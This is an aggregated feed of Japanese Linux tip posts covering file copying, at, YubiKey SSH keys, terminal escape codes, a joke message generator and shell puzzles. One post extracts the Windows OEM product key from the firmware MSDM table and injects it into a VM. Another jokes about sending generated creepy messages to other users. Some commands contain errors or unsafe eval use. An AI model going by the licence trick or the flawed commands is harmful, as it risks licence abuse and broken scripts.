Quantcast
Channel: Linux –俺的備忘録 〜なんかいろいろ〜
Viewing all 743 articles
Browse latest View live

Linuxで、findで見つけたファイルをディレクトリ構造をたもったままコピー、移動させる方法4個

$
0
0

Twitter見てた時、そういう処理の仕方についてわからないというのを見かけたので、一応何かの時のために残しておくことにする。
通常、LinuxやMacに入ってるmvやcpでは、コピー先のディレクトリが無かったら作成するような機能はないので、ひと手間必要になる。

1.findからxargsを使ってコピー、移動させる場合

findからxargsに対象のファイルPATHを渡して、それをcp、mvを使ってコピーや移動をさせる場合。
この場合、コピー時にディレクトリが無いとエラーになってしまうので、一度mkdirで(フォルダがない場合に)生成させる必要がある。
以下、サンプルコード(mvの場合は、cpのとこを書き換え)。

cd /path/from; find ./ -type f ... | xargs -I@ bash -c 'DIR=/path/to/dir;mkdir -p $DIR/$(dirname @);cp @ $DIR/@'

 

ちゃんとシェルスクリプトとかで書いて対応するなら、forやwhileを使ってやるといいだろう(xargsだと都度プロセス立ち上げるから遅いし)。

find ./ -type f ... | while read -r var;
do
  dir=/tmp/test_3;
  mkdir -p $dir/$(dirname $var);
  cp $var $dir/$var;
done

2.findからrsyncを利用してコピーさせる場合

findの結果に対し、ディレクトリの同期等を行うツールであるrsyncを使って、ディレクトリ構造とセットでコピーすることもできる。
以下、サンプルコード。

rsync -R $(find ./ -type f ...) /path/to/dir

 

mvと同等の処理(コピー後にオリジナルを削除する)場合は、「–remove-source-files」オプションを付与する。

rsync --remove-source-files -R $(find ./ -type f ...) /path/to/dir

 

パイプから渡す場合、コマンド置換してるところをcatにしとけばいいだろう。

3.findからcpの代わりにinstallコマンドを指定する

Makefileなどでよく利用されるinstallコマンドでは、コピー時にPATHがないとディレクトリを自動で作成するオプション(-D)が用意されている。
このため、cpの代わりにxargsから渡してやると、比較的カンタンにディレクトリ構造ごとコピーができる。

find ./ --type ... | xargs -I@ install -D @ /path/to/dir/@

 

元ファイルの削除をする機能はないので、必要であれば別途findからrmに渡してやるといいだろう。

4.findからtarによるアーカイブ化→展開を利用する場合

tarはディレクトリ構造を保持するので、それを利用する場合。
以下のように、標準入出力でtarのアーカイブ→展開をしてやればいい。

tar cf - $(find ./ -type f -name ...) | tar xf - -C /path/to/dir

 

こちらも、元ファイルの削除が必要な場合は別途対応が必要。

 

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

atコマンドで覚えておきたい使い方6個

$
0
0

Linuxなどで定期的に特定のプログラムを実行したい場合、外部のジョブシステム(JP1だったりRundeckだったり)やcronで処理をすることが多いだろう。
だが、特定の日時に1度だけ実行したい、という場合は、atコマンドという日時を指定して、一度だけプログラムを実行させるコマンドを利用する場合が多い。今回は、そのatコマンドを使う上で覚えておきたい使い方をまとめてみる。

なお、ここではatと同じパッケージに含まれるatq、atrm、batchコマンドについても触れる。

1.基本的な使い方

最初にも記述したことではあるが、atコマンドは指定した時間にジョブを実行するためのコマンドだ。cronは曜日や月、日を指定して繰り返し実行させるためのプログラムだが、このatコマンドは指定日時に一度だけジョブが実行される。
以下のような書き方で指定時刻を指定する。時刻指定後は対話型インターフェイスに入るので、そこで実行する内容について記述する(対話型インターフェイスはCrtl+Dで終了)。

at 時刻

 

指定できる時刻指定フォーマットは以下のような形式だ。
日本人にはちょっと馴染みのない形式ばっかりなのでちょっと戸惑う…(YYYY/MM/DDあたりもあればいいのに)。

HH:MM # 当日の時刻
HH:MM YYYY-mm-dd
HH:MM mmddYYYY
HH:MM mm/dd/YYYY
HH:MM mm.dd.YYYY

 

その他、明日のX時とか、あとN時間後などの相対時間指定もできる。
以下、一部抜粋。

now + 10minutes # 10分後
12:00 + 3days # 3日後の12:00
tomorrow # 明日の同じ時間
teatime # 次の16:00
noon # 次の12:00(お昼)
midnight # 次の24:00

 

また、-tオプションを使用することで、YYYYMMDDhhmmssというフォーマットで時刻の指定ができる。
以下の例では、2020年01月02日 03時04分を指定している。

at -t 202001020304

 

2.ジョブを確認する

現在登録されているジョブの一覧を確認する場合は、以下のコマンドを実行する。

at -l
atq

 

ジョブの内容について確認する場合は、以下のようにジョブ番号を指定する。

at -c <ジョブ番号>

 

3.ジョブを削除する

ジョブを削除する場合は、以下のようにジョブ番号を指定してコマンドを実行する。

at -r <ジョブ番号>
at -d <ジョブ番号>
atrm <ジョブ番号>

 

4.時刻ではなく、負荷レベルで実行タイミングを指定する

以下のようにコマンド実行すれば、ジョブの実行タイミングを時刻ではなく、システム負荷が低いタイミングに処理させるよう指定することもできる。

at -b
batch

5.利用できるユーザを制限する

atコマンドは、/etc/at.arrowというファイルに記載されているユーザのみ実行可能にしたり、/etc/at.denyというファイルに記載されているユーザは実行できないようにする、といった制限もできる。
(といっても、あまり使わなそうな気もするが…)

 

6.ジョブで実行する内容をファイルで指定する

ジョブで実行させる内容を、ファイルで指定する場合は-fオプションを付与する。

at HH:MM YYYY-mm-dd -f /path/to/file

 

また、プロセス置換を利用することでコマンドから直接実行内容を指定できる。

at HH:MM YYYY-mm-dd -f <(echo command...)

 

[試して理解]Linuxのしくみ ~実験と図解で学ぶOSとハードウェアの基礎知識 [試して理解]Linuxのしくみ ~実験と図解で学ぶOSとハードウェアの基礎知識

Yubikey 4に秘密鍵を入れてssh接続に利用する

$
0
0

個人的に、sshの接続は基本的には公開鍵認証を使うようにしている。
で、秘密鍵はローカルマシンで保持させてるのだけど、Yubikeyに秘密鍵を入れて、証明書認証の設定をすることでトークン認証にすることもできるようだ。
確かに、これなら複数のマシンで共通の秘密鍵を利用できるし、PINコードでの認証も必要になるので、2要素認証的な要素もあってセキュリティも固くなる。

触ってみないとなんともいえないので、ひとまずは実際に試してみることにした。なお、Yubikeyから鍵を取得するため、OpenSCが必要になるらしい。
ssh接続先にはCentOS 7、Ubuntu Server 18.04 LTSを利用する。また、クライアント側についてはMac OSを利用している。

1.OpenSCのインストール

まず、ssh接続時にYubikeyから鍵を読み込む時にOpenSCが必要になるので、それをインストールする。
Macであればbrewからインストールできる。

brew install opensc

 

なお、Debian/Ubuntuでもaptからインストールできる。

sudo apt install opensc

 

2.Yubico PIV Managerを利用して秘密鍵を生成する

次に、Yubicoに秘密鍵を生成して書き込むために『Yubico PIV Manager』を利用する。
『Yubico PIV Manager』は以下からダウンロードできるので、使用しているOSに応じたインストーラーを入れる。


Releases - developers.yubico.com

 

インストール後、『Yubico PIV Manager』を起動したらPINを設定するように言われるので、6-8桁のPINを設定する。
※忘れると秘密鍵を利用できなくなるので、忘れないように注意すること。

 

PINを設定したら、「Certificates」を開く。
「Certificates」は「Authentication(9a)」「Digital Signature(9c)」「Key Management(9d)」「Card Authentication(9e)」の4種類ある。
以下、それぞれの概要(詳細についてはこちらを参照)。

  • Authentication … カードとカード所有者を認証するために使用される。秘密鍵の操作にPINの入力は必須。
  • Digital Signature … 文章、またはファイル・実行可能ファイルへの署名を目的としたデジタル署名に使用される。秘密鍵の操作にPINの入力は必須。
  • Key Management … 機密保持のための暗号化に使用される。秘密鍵の操作にPINの入力は必須。
  • Card Authentication … PIV対応ドアロックなどの物理認証のサポートに使用される。秘密鍵の操作にPIN入力が必須ではない。

それぞれの用途はあるようだけど、ssh認証で使う分にはどれでもそんなに変わらないようだ。
自分のYubikeyでは「Authentication」「Key Management」が設定済なので、「Digital Signature」でsshの鍵を生成…しようとしたところ、どうもうまくいかない。どうやらOpenSC側に9aに証明書、9cに鍵があるとエラーになるバグが存在するようだ。しょうがないので、9eにssh鍵を登録することにする(ちなみに、9aに鍵が入ってる場合はこの問題は起きないらしい。面倒臭いな…)。
「Certificates」を開いたら、「Digital Signature」を開き、「Generate new key …」をクリックする。

 

あとは、ここから秘密鍵の生成をするだけだ。
Expiration dateについては、1年だとちょっと短いので適当に2030年とかにしておく(画像は9cスロットのもの)。

 

これで、秘密鍵がYubikeyに登録されたはずだ。

 

3.サーバ側に公開鍵を登録する

秘密鍵をYubikeyに登録したら、サーバ側に公開鍵を登録する必要がある。
以下のコマンドを実行し、Yubikeyから公開鍵を取得する。

ssh-keygen -D /usr/local/opt/opensc/lib/opensc-pkcs11.so

 

Yubikeyに秘密鍵が登録されていれば公開鍵が出力されるはずなので、これをサーバ側に登録してやる。

 

4.ssh接続する

最後に、実際にssh接続してみる。
ssh接続の際にYubikeyの秘密鍵を参照する場合は、秘密鍵のPATHとしてOpenSCのライブラリを指定してやればいい。

ssh -I /usr/local/opt/opensc/lib/opensc-pkcs11.so user@host
[blacknon@BlacknonMacBook-Pro2018][~/Work/201901/20190127]                                          [BATTERY:100%]
(`・ω・´)  < ssh -I /usr/lib64/opensc-pkcs11.so blacknon@172.20.100.122            [2019/01/28 00:54:32 (月) JST]
C_GetAttributeValue failed: 18
C_GetAttributeValue failed: 18
Enter PIN for 'Yubico PIV Authentication':
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-29-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jan 27 15:54:36 UTC 2019

  System load:  0.0               Processes:            116
  Usage of /:   6.9% of 97.93GB   Users logged in:      1
  Memory usage: 9%                IP address for ens18: 172.28.0.122
  Swap usage:   0%                IP address for ens19: 172.20.100.122

 * MicroK8s is Kubernetes in a snap. Made by devs for devs.
   One quick install on a workstation, VM, or appliance.

   - https://bit.ly/microk8s

 * Full K8s GPU support is now available!

   - https://blog.ubuntu.com/2018/12/10/using-gpgpus-with-kubernetes


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

94 個のパッケージがアップデート可能です。
0 個のアップデートはセキュリティアップデートです。


*** System restart required ***
Last login: Sun Jan 27 15:53:30 2019 from 172.28.10.222
blacknon@bs-pub-ubuntu-03:~$

9cスロットを使う場合に出るバグに苦しめられたけど、ひとまずこれでうまくいった。
使いこなせれば結構面白いんじゃないだろうか。

 

[正規販売代理店品]YubiKey 4 [正規販売代理店品]YubiKey 4

curlにかわるコマンドラインのhttpクライアントコマンド『HTTPie』

$
0
0

ちょっと調べ物をしていたところ、Pythonで書かれたモダンなcurlというようなCUIツール『HTTPie』なるものを知った。

As easy as httpie /aitch-tee-tee-pie/ 🥧 Modern command line HTTP client – user-friendly curl alternative with intuitive UI, JSON support, syntax highlighting, wget-like downloads, extensions, etc. ...
jakubroztocil/httpie - GitHub

 

curlだと色分け表示されずにちょっと見にくいところを色付きで表示してくれたりするらしい。
インストールは簡単で、以下のコマンドで行える。

● macOS

brew install httpie

 

●Debian/Ubuntu

sudo apt install httpie

 

●RHEL/CentOS

apt install httpie

実行ファイルは「http」になっているようだ。使い方はcurlと同じらしい。
細かいオプションの使い方もほとんど変わってないようだ。

http<option>... url


htmやJsonもSyntax Highlightしてくれるので大変見やすい。

 

Web Scraping with Python: Collecting More Data from the Modern Web Web Scraping with Python: Collecting More Data from the Modern Web

コンソール上でワイルドカード指定した各ファイルの特定列をpasteで横並びに結合する

$
0
0

Twitterを見ていたら、そういう処理について見かけたので備忘で残しておく。
あるディレクトリ配下のファイルに対して、特定の列(3列目など)をpasteで横並びにして比較するというもの。

ファイル数が決まってて、かつ少ないのであれば、pasteに対してプロセス置換を使ってコマンドの実行結果を渡すことで対応ができるけど、ファイル数が多いとちょっとツライ。

paste <(cut -f1 hoge.txt) <(cut -f1 fuga.txt)

とはいえ基本形はこれで対応できるので、うまいことプロセス置換をする箇所について自動生成させてやればいい。
例えば、以下のような形でglobでのワイルドカードからブレース展開でのプロセス置換を生成して、それをevalで実行させてやればいい。

eval eval paste "'<(cut -d\" \" -f2 '{"$(echo /tmp/*.txt|tr \  ,)"}')'"
[root@BS-PUB-CENT7-01 ~]# grep . /tmp/test*
/tmp/test1.txt:a01 a02 a03 a04 a05
/tmp/test1.txt:b01 b02 b03 b04 b05
/tmp/test1.txt:c01 c02 c03 c04 c05
/tmp/test2.txt:e01 e02 e03 e04 e05
/tmp/test2.txt:f01 f02 f03 f04 f05
/tmp/test2.txt:g01 g02 g03 g04 g05
/tmp/test3.txt:i01 i02 i03 i04 i05
/tmp/test3.txt:j01 j02 j03 j04 j05
/tmp/test3.txt:k01 k02 k03 k04 k05
[root@BS-PUB-CENT7-01 ~]# eval eval paste "'<(cut -d\" \" -f2 '{"$(echo /tmp/*.txt|tr \  ,)"}')'"
a02	e02	i02
b02	f02	j02
c02	g02	k02

 

列数がものすごく多いとツライけど、ひとまずはこんな感じで対処できる。
evalでやる以外には、globのワイルドカード指定からpasteで実行するプロセス置換のコマンドを生成して、それをパイプでbashに渡すといった方法も考えられる。

 

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

OSCエスケープシーケンスを使ってGnomeターミナルで現在使っているセッションだけ文字色、背景色を変更する

$
0
0

前々から、Linuxデスクトップで使えるターミナルエミュレーターで、 iTerm2のようにOSCエスケープのprintfからプロファイルを変更させる方法について調べていたのだけど、どうやら文字色・背景色であれば変更できるようだということがわかった。

OSCエスケープで文字色、背景色を変える場合、10、11を使うといいらしい。
RGBを00-ffで指定してやればいいようだ。

echo -ne '\e]10;#000000\a' # 文字色を変更
echo -ne '\e]11;#ffffff\a' # 背景色を変更

以下は実行例のコマンド。
こんな感じで背景色、文字色を指定できる。

echo -ne '\e]10;#ffffff\a\e]11;#000000\a'文字色を白、背景色を黒に
echo -ne '\e]10;#ffffff\a\e]11;#300000\a'文字色を白、背景色を赤に
echo -ne '\e]10;#ffffff\a\e]11;#003000\a'文字色を白、背景色を緑に
echo -ne '\e]10;#ffffff\a\e]11;#000030\a'文字色を白、背景色を青に
echo -ne '\e]10;#000000\a\e]11;#ffffff\a'文字色を黒、背景色を白に

 

以下は、Ubuntu 18.04 LTSでのGnome Terminalでの実行例。
OSCエスケープをprintしているターミナルだけ背景色、文字色が変わっているのがわかる。

 

以下はTerminatorでの実行例。
ちゃんと背景色、文字色を変更できている。

 

これなら、ssh接続時に自動で背景色を変えたりといったことも簡単にできそうだ。

 

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

WSLからssh接続先の出力結果をクリップボードにコピーする

$
0
0

Twitterをぼけーっと見てたとき、こういう処理についてどうやって実現するかって内容を見かけたので、ちょっと調べてみた。

ローカルのWSLで処理を完結するならclip.exeとかを使えば良さそうなのだけど、sshでリモートに接続してたりするとこの方法は使えない。
じゃどうするかというと、ローカルでX Window Serverを立ち上げて、ssh接続先でxclipからクリップボードにコピーすればいいようだ。
リモートマシンにパッケージ入れないといけないのがちょっと抵抗ありそうだけど、調べた限りこれが一番シンプルそう。

以下、ざっくりとした流れ

1.クライアント側でX Window Serverの立ち上げ

まず、クライアントであるWindows側でX Window Serverを立ち上げする。
とりあえずよく使われてるXmingあたりを入れておけばいいだろう。

X Window Serverを立ち上げたら、WSL側でX Windowに接続できるよう以下のコマンドを実行する。
(もしよく利用するのであれば、.bashrcなどにも記述しておくといいかもしれない)

export DISPLAY=localhost:0.0

2.ssh接続、xclipでのクリップボードへのコピー

クライアント側でX Window Serverを立ち上げたら、X11 forwardingしてssh接続する。

ssh -X hoge@fuga ...

 

ssh接続後、xclipを使ってやる。

echo hogehoge | xclip

 

これで、Windows側のクリップボードにhogehogeがコピーされているはずだ。

 

ちなみに今まで知らなかったのだけど、こういうときにMacやLinuxだったらOSCエスケープの52でクリップボードにアクセスしてコピーができるらしい。
(おそらくWSLでもできているのだろうけど、WSLとWindowsでクリップボードが共有できてないので機能していない様子)

Macとかだと、(iTerm2でやった場合、クリップボードにアクセスできるよう設定にチェックが必要だけど)以下のようにすれば出力をクリップボードにコピーできる。
iTerm2でのOSC Escape 52についてはこちらが詳しい。

printf hogehoge123 | base64 | echo -ne "\033]52;c;$(cat)\a" # クリップボードにコピー

 

OSCエスケープって便利なのね…(´・ω・`)。
ターミナルの背景色や文字色も指定できるし、今回の件で調べるまで知らなかったよ。

 

Terminal Emulator Terminal Emulator

iTerm2のようなデスクトップLinux用のターミナルエミュレータ『Tilix』を使ってみる

$
0
0

前に自分の開発環境用のPCを買う際、デスクトップLinux用でiTerm2に代わるようなターミナルエミュレーターがなかったのもあって結局MacBookを買ったのだけど、またちょっと調べてみたところかなりいかしたターミナルエミュレータを見つけた。

A tiling terminal emulator for Linux using GTK+ 3. Contribute to gnunn1/tilix development by creating an account on GitHub.
gnunn1/tilix - GitHub

 

GTK3を使ってて、言語はD言語で書かれているようだ。
以下のような特徴を持っているらしい。

  • 背景に画像を設定可能(ただしプロファイル別には設定できない)
  • プロファイルの自動切り替え機能
  • ウィンドウの分割可能
  • ターミナルのロギング機能
  • ショートカットのカスタム機能
  • 結構細かいプロファイルの設定

こんなターミナルエミュレータがあったとは知らなんだ(´・ω・`)。
上記は2019年現在の機能なのだけど、こちらを見るとiTerm2ライクな機能(OSCエスケープでのProfileの切り替えなど)をサポートすることも視野に入れてるらしい。現時点ではOSCエスケープでの文字色、背景色の切り替えはできないようだけど、ロードマップを見る限りは将来的には対応してくれそう?な気はする。

とりあえず、まずは実際に触ってみよう。
今回は手元にあったUbuntu Desktop 18.04 LTSにインストールする。
Ubuntuの場合はパッケージが用意されているようで、 以下のコマンドでインストールできる。
(その他のディストリビューションの場合は、こちらのページからパッケージが用意されているか確認できる。Archは用意されてるっぽい。)

sudo add-apt-repository ppa:webupd8team/terminix
sudo apt-get update
sudo apt install tilix

 

これでインストールは完了。
あとはtilixを起動するだけだ。起動後の画面はこんな感じ。

 

プロファイル別ではないけれど背景画像も設定できるし、結構良さげ。
感想としては、現状はまだiTerm2から移行したいとは思えないというのが本音ではあるけれど、今後も改修していくようなので先が楽しみな感じだ。

 

GNOMEプログラミング―GNOMEアプリケーション開発の基礎 GNOMEプログラミング―GNOMEアプリケーション開発の基礎

ノートPCに入れたLinuxデスクトップで、元々入ってたOEM版のWindows10のライセンスを使って仮想マシンを作成する

$
0
0

元々はWindowsが入ってたノートパソコンにLinuxを入れて使っている場合、元々入ってたWindowsを仮想マシンなどで使いたいといった場合がある。
Windows 7とかだとPCに貼ってあるシールのライセンスを使えばとりあえず利用できたのだけど、Windows 10の場合はOEMライセンスとしてインストールされているので、ライセンスシールが貼ってなかったりする。

で、なんか方法無いのかなと調べてみたところ、どうやら仮想マシンのハードウェア情報を一部いじれば実現できそうだということがわかった。

I just bought a new laptop. The first thing I did was take out the unbooted OEM Windows-10 hard disk and put in my pre-existing Linux hard disk from my last laptop. So far so good.The OEM drive...
Install Windows 10 from an unbooted OEM drive into Virtualbox? - Super User

 

Windows 10のOEMライセンスの場合、ハードウェアのBIOSにあるMSDMテーブルという領域からライセンスキーを読み出してアクティベーションしているため、その領域からキーを抜き出して仮想マシンのBIOSに登録してやればいいということだ。
というわけで早速やってみよう。今回、仮想マシンはKVMを利用する。(デスクトップLinuxでVritualBoxは、よほどの理由がない限りはわざわざ選択しなくてもいいだろう…(´・ω・`))

1. PC本体のBIOSからライセンス情報(MSDM)を取得する

まずは、PC本体のBIOSからライセンス情報の取得をする。
Linuxがインストールされている前提となるので、どのディストリビューションでも以下のコマンドで取得ができるだろう。

sudo tail -c +56 /sys/firmware/acpi/tables/MSDM
$ sudo tail -c +56 /sys/firmware/acpi/tables/MSDM
XXXXX-XXXXX-XXXXX-XXXXX-XXXXXX

 

このファイルを、別途テキストに書き出しておく。

sudo cat /sys/firmware/acpi/tables/MSDM > /path/to/dir/msdm.bin

2. 仮想マシンのBIOSにMSDMの情報を登録する

次に、仮想マシンを作成して、そのBIOSにMSDMの情報を登録する。
今回はすでにKVMで仮想マシンを作成済と仮定して、その仮想マシンファイルに以下の内容を追記する。

KVMの場合、以下のコマンドで仮想マシンの設定ファイルをエディタで編集できる。

virsh edit VM名

エディタを開いたら、以下の様な内容を追記する。
qemuのコマンドオプションを使うので、1行目にあるタグに「xmlns:qemu=’http://libvirt.org/schemas/domain/qemu/1.0’」という記述を忘れないようにしよう。
なお、ファイルのPATHはフルパスで記述する必要があるので注意。

<domain type='kvm' xmlns:qemu='http://libvirt.org/schemas/domain/qemu/1.0'>
  <!-- ... -->
  <qemu:commandline>
    <qemu:arg value='-acpitable'/>
    <qemu:arg value='file=/path/to/dir/msdm.bin'/>
  </qemu:commandline>
</domain>

 

VirtualBoxの場合については、先程の参考Urlに設定コマンドがあったので、それを使えばいいだろう。

VBoxManage setextradata VM名 \
           "VBoxInternal/Devices/acpi/0/Config/CustomTable" \
           ~/path/to/dir/msdm.bin

 

3. Windowsインストール

後は、そのまま元々入ってたのと同じWindowsのエディションをインストールしてやればいい。

 

【参考】

I just bought a new laptop. The first thing I did was take out the unbooted OEM Windows-10 hard disk and put in my pre-existing Linux hard disk from my last laptop. So far so good.The OEM drive...
Install Windows 10 from an unbooted OEM drive into Virtualbox? - Super User
How to use Windows 10 OEM license in libvirt VM (<smbios mode='host' /> does not work as Windows seems to verify UUID; apparmor/security configuration changes may be needed) - domain.xml
How to use Windows 10 OEM license in libvirt VM (<smbios mode='host... - Gist

 

インサイドWindows 第7版 上 システムアーキテクチャ、プロセス、スレッド、メモリ管理、他 (マイクロソフト公式解説書) インサイドWindows 第7版 上 システムアーキテクチャ、プロセス、スレッド、メモリ管理、他 (マイクロソフト公式解説書)

LINEとかで女の子に変なメッセージで絡むおじさんの文言ジェネレーター『ojichat』で遊ぶ in シェル芸bot

$
0
0

昨日、通勤中にふとGithubの通知のトコに謎のリポジトリが流れてきた。

おじさんがLINEやメールで送ってきそうな文を生成する. Contribute to greymd/ojichat development by creating an account on GitHub.
greymd/ojichat - GitHub

 

内容を確認したところ、どうやら「LINEとかTwitterで知らない女の子に下心丸出しの絵文字入れまくったメッセージ送るおじさん」のメッセージ文のジェネレーターのようだ。
ちゃんと形態素解析とかもして処理してるようで、単純に文言かけ合わせてるようなコマンドではないようだ。
(ぐれさんまた妙なものに全力を…!)

そのあとTwitter見てたら、どうやら公開後速攻でシェル芸botに組み込まれたらしい。
これは遊ぶしかない…!

1. 基本形

READMEにも書いてあるのだけど、基本的には以下のようにコマンドを実行するだけで文言を生成してくれる。
名前が文言に含まれる場合は自動生成されるようだ。

ojichat

 

引数で送り先の名前を指定したい場合は引数をつける。

ojichat なまえ

2. 応用例

文言を生成したなら、その後は応用してみる。

2-1. 人に送りつける

リアルのメッセージのように、人のアカウントにシェル芸botから送りつけるというテロ行為を行う。
注: 知らないひとに向けてはいけません!

echo '@'アカウント
ojichat なまえ

2-2. しゃべらせてみる

幸い?シェル芸botにはcowsayとかそういうのがいっぱいあるので、なんかに喋らせてみたりもできる。
(そしてついでに人に送りつける。(注:人に向けてはい(ry))

echo '@'theoldmoon0602
unko.shout $(ojichat "gǔ yuè"|sed 's/.............../& /g')| sed 's/Y^/Y/g' | sed -r 's,.,<span font="VL-Gothic-Regular" size="40000">&</span>,g'|convert -pointsize 80 -background Black -fill White pango:"$(cat)" /images/t.png

 

2-3. なんかすごいの

convertでいろいろとやってる闇豚さんのがなんかすごかった。

昨日のシェル芸botは ojichatの応酬が繰り広げられる地獄となっていました。

 

部長、その恋愛はセクハラです! (集英社新書) 部長、その恋愛はセクハラです! (集英社新書)

Linuxでディレクトリ構造だけをコピーする

$
0
0

先日、Twitter眺めてたらそんな感じの処理について見かけたので、楽に実現する方法について考えてみる。

1. tarでディレクトリだけを固める

別々のホスト間で処理する場合、tarでディレクトリだけを固めてしまい、コピー先でそれを展開するという方法が楽そうだ。

cd SourceDir;find ./ -type d -print0 | xargs -0 tar czvf dir.tar.gz --no-recursion # dir.tar.gzにディレクトリだけ固める
cd TargetDir;tar xzvf dir.tar.gz # コピー先にtar.gzを持っていって展開

 

同一ホストであれば、以下のようにパイプでつなげることでそのまま展開、コピーさせることも可能だ。

cd SourceDir;find ./ -type d -print0 | tar c -O . | tar xvf - -C /TargetDir

 

同一ホストでなくとも、コピー元から直接ssh接続できる場合は、以下のようにパイプで繋げてやることで直接tarを展開できるので、これを利用するといいだろう。

cd SourceDir;find ./ -type d -print0 | tar c -O . | ssh user@host tar xvf - -C /TargetDir

2. findでの結果をそのまま利用する

findから直接処理する場合、以下のようにコマンドを実行するといいだろう。
パーミッションの取得をするためにprintfオプションが必要になるので、GNU findじゃないと動作しない点に注意が必要。

find ./ -type d -printf "%m %p\n" | xargs -n2 bash -c 'mkdir -p -m $0 /opt/test2/$1'

 

traと同様、コピー元から直接ssh接続できるようであれば、それで処理することも可能だろう。
一応、リストだけ出力して別のホストに転送してしまえば、それでも処理は可能ではある。

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

Goで自作してるsshクライアントコマンドにパラレル接続のシェルもどきを追加してみた

$
0
0
List selection type alternative ssh/scp client.Pure Go. - blacknon/lssh
blacknon/lssh - GitHub

最近は、↑のGoで自作してるsshクライアントコマンド(lssh)の機能追加を主にやってる(で、こっちあまり更新してない(´・ω・`))。

実はちょっと前、下のようなツールを見かけて、それと同じようなことが自作のsshクライアントやりたいと思って機能追加していたのだけど、それがやっとできるようになった。
これが何なのかというと、sshで複数のノードにパラレル接続して、そのままプロンプト上からインタラクティブにコマンドを流せるというツールで、便利そうだしすごくかっこよさげなのだ。

An interactive parallel ssh client featuring autocomplete and asynchronous execution. - six-ddc/hss
six-ddc/hss - GitHub

 

ただ、sshの接続用のコンフィグを別に作らないとダメそうだし、普段はこの自作クライアントを使って接続してるから別にコンフィグ作るのもめんどくさい(~/.ssh/configはlsshから直接読めるから、そっちだったら楽だった)。
そんな理由で、自分のlsshにも同様の機能を追加してみることにした。

(家のサーバのsshの名前解決外してなかったので、接続時ちょっと遅いのはサーバの問題)

 

ただ移植っぽいことをするだけだと芸がないので、以下ができるようにしてみた。

  • 各ノードで実行しているコマンドの標準入力へキー入力をパラレルで送信(なので、複数台で同時にpasswdとかもできる)
  • iPythonみたいに、過去の実行結果を保持して後から閲覧可能にする

一応、Goで全部書かれてるからWindowsでも動くはず…(試してないけど)。

一応コマンドのパラレル実行機能は元々実装してあったので、プロンプトを追加して上の処理が行えるようにすることで対応はできた。
プロンプトは自作するのつらかったので、go-promptを使わせてもらうことにした。

まだ補完まわりがうまくできてないので、そのあたりをうまいこと処理できるようにしたいなぁというところ。
補完結果自体は(リモート先がbashを使ってること前提で)compgenを使えばコマンドもファイルPATHも取ってこれると思うんだけど、多分構文解析とかを絡めないといけないと思うので、ちょっと考える必要がありそう。

普段は↓のように普通に1台づつターミナル接続してて、このとき自作のbashrcをそのまま直接読み込ませられるから大体同じ環境で操作できるのだけど、複数台で同時作業する際に同じようなことをするにはちょっと考えないとだめかもなぁ…(´・ω・`)。

 

ターミナルの色を変更するのは簡単なんだけど、ローカルのbashrcをどうやってファイル転送させずに読み込ませた状態でパラレル接続するのかが課題になりそう。

 

OpenSSH[実践]入門 Software Design plus OpenSSH[実践]入門 Software Design plus

第42回シェル芸勉強会に参加してきました(復習)

$
0
0

先日実施された、第42回シェル芸勉強会に参加してきたので、その復習。
今回は難しめにしたとのこと。

問題はこちら。最初に、問題等に使用するファイルをgitからcloneしておくといい。
(といっても、ファイルは1個しかない)

git clone https://github.com/ryuichiueda/ShellGeiData

 

Q1

「正の整数の組(x, y, z)について、x + xy + xyz = 1234, x < y < zを満たす組み合わせを全て選べ」という問題。
数学オリンピックから出題されていた問題をちょっと改変した問題らしい(多分オリジナルはこれ)。

普通に計算させると終わらないので、↑のオリジナルと同じように最初の段階でちょっと頭を使う必要があるようだ。
上記の式は「x(1+y+yz) = 1234」となるのだけど、これを処理していくとfactorの結果として出力される数字が必ず含まれることになるから、それを利用する。

[REMOTE][ubuntu@test-ubuntu1804][~]
(`・ω・´) < factor 1234
1234: 2 617

 

上記の値と1を足した、3つの数字が必ず含まれるので、それを利用してブレース展開してやるといいようだ。
模範解答より短く書けなそうなので、解説付きで記述。

echo {1,2,617}_{1..1234}_{1..1234} # ブレース展開で組み合わせを出力
echo {1,2,617}_{1..1234}_{1..1234} | tr '_ ' ' \n' # _ => ' '(スペース), ' '(スペース) => 改行に置換
echo {1,2,617}_{1..1234}_{1..1234} | tr '_ ' ' \n' | awk '$1<$2&&$2<$3&&$1*(1+$2+$2*$3)==1234' # 各列に対して、条件に一致する内容か精査して出力

 

Q2

gitで落としてきたファイル「oji」の中にある絵文字を、全て💩に置換するという内容。
「oji」の中身は、先日ぐれさんが作ってたojichatの出力みたいだ。

[REMOTE][ubuntu@test-ubuntu1804][~/Work/201906/20190617]
(`・ω・´) < cat oji
あれ(^_^;さのチャン、朝と夜間違えたのかな❗❓⁉俺はまだ起きてますよ〜😃 ちょっと電話できるかナ( ̄ー ̄?)⁉天気悪いと気分もよくないよね😱じゃあ今日は会社休んで俺とデートしヨウ💕ナンチャッテ🎵(笑)😘

 

似たような処理をちょっと前にシェル芸botでやって遊んでたので、それを改変してやればいいようだ。
Perlでやってたのだが、残念ながらPerlだとRubyほど短く書けない。PerlのUnicode Propertiesだと絵文字をまるごと範囲指定出来ないので、「残したい文字種以外」といった指定方法が楽なのだけど、それでもかなり文字数を使う。
やはりRubyはこういう処理だと強いなぁ…。

# Perlの場合
cat oji | perl -C -ple 'use utf8;s/[^\p{BasicLatin}|\p{Katakana}|\p{Hiragana}|\p{Han}|\p{CJKSymbolsAndPunctuation}|\p{HalfwidthAndFullwidthForms}]/&#x1f4a9;/g'

